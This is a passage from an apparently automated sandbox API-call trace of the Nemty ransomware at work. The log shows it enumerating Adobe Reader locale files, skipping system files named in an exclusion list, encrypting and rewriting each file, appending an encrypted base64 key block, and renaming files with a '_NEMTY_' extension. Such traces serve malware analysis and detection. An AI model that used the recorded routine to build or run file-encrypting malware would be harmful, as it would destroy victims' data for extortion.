dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.541] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\EScript.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\escript.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.541] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41472) returned 1 [0178.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa200) returned 0x6352c48 [0178.541] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.541] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa200, lpOverlapped=0x0) returned 1 [0178.546] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.546] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa200, lpOverlapped=0x0) returned 1 [0178.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.546] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa200 [0178.546] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.546] CloseHandle (hObject=0x2e8) returned 1 [0178.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.546] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.546] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.547] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\EScript.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\escript.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\EScript.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\escript.ita._nemty_kgobjgd_")) returned 1 [0178.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.547] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.ITA", cAlternateFileName="")) returned 1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2=".") returned 1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2="..") returned 1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2="...") returned 1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2="windows") returned -1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2="rsa") returned -1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2="NTDETECT.COM") returned -1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2="ntldr") returned -1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2="MSDOS.SYS") returned -1 [0178.547] lstrcmpiW (lpString1="IA32.ITA", lpString2="IO.SYS") returned -1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="boot.ini") returned 1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="boot.ini") returned 1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="ntuser.dat") returned -1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="desktop.ini") returned 1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="CONFIG.SYS") returned 1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="RECYCLER") returned -1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="bootmgr") returned 1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="programdata") returned -1 [0178.548] lstrcmpiW (lpString1="IA32.ITA", lpString2="appdata") returned 1 [0178.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ITA", lpUsedDefaultChar=0x0) returned 8 [0178.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ITA", lpUsedDefaultChar=0x0) returned 8 [0178.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ITA", lpUsedDefaultChar=0x0) returned 8 [0178.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.ITA", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.ITA", lpUsedDefaultChar=0x0) returned 8 [0178.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.548] Sleep (dwMilliseconds=0x5) [0178.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e12fef0, dwHighDateTime=0x1d561e8)) [0178.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e12fef0, dwHighDateTime=0x1d561e8)) [0178.555] GetLastError () returned 0x0 [0178.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.555] GetLastError () returned 0x0 [0178.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.556] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.556] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.556] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.556] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Deq0WNv6qcSdLB/g66MY8MEtKB9VMY3UucQdZuWg3ymObzpie6kdvv5EvYAEWu1c\r\nQSiKOJVk7EF+d7ZJ6bxuocuStY7am13BPnJgyo5w8whaVgYevurFVMFoXmxTf9SU\r\nlyIR3qNQNrut2yKUSZa4bX78yfbgH0+bw1vUnKU+uIX+kc/4N4X/hRJJgbWJ2Dwb\r\nVeF8tJ+X+eausBqSBb0YMZflvwjeSx/2HuK8lPonrw4Fcqt+dPV6wyQf9S58tO8U\r\nsRT6pmBf75mvAVHU2VQzZLNetZ0pmwlm77D4P/+i1ERwgo8eT9S/JRUfGk9kpQKU\r\nYzzuvS/j+LN8buoRfEy+Tw==\r\n", pcchString=0x653e5dc) returned 1 [0178.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\IA32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ia32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.556] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0178.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0178.556] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.557] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0178.559] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.559] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0178.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.559] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0178.559] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.559] CloseHandle (hObject=0x2e8) returned 1 [0178.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0178.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0178.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0178.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.560] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\IA32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ia32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\IA32.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\ia32.ita._nemty_kgobjgd_")) returned 1 [0178.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0178.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.561] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.ITA", cAlternateFileName="MAKEAC~1.ITA")) returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2=".") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="..") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="...") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="windows") returned -1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="rsa") returned -1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="NTDETECT.COM") returned -1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="ntldr") returned -1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="MSDOS.SYS") returned -1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="IO.SYS") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="boot.ini") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="boot.ini") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="ntuser.dat") returned -1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="desktop.ini") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="CONFIG.SYS") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="RECYCLER") returned -1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="bootmgr") returned 1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="programdata") returned -1 [0178.561] lstrcmpiW (lpString1="makeaccessible.ITA", lpString2="appdata") returned 1 [0178.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0178.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ITA", lpUsedDefaultChar=0x0) returned 18 [0178.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0178.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0178.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ITA", lpUsedDefaultChar=0x0) returned 18 [0178.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0178.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0178.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ITA", lpUsedDefaultChar=0x0) returned 18 [0178.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0178.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ITA", lpUsedDefaultChar=0x0) returned 18 [0178.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.562] Sleep (dwMilliseconds=0x5) [0178.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e156050, dwHighDateTime=0x1d561e8)) [0178.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e156050, dwHighDateTime=0x1d561e8)) [0178.571] GetLastError () returned 0x0 [0178.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.571] GetLastError () returned 0x0 [0178.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0178.571] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, 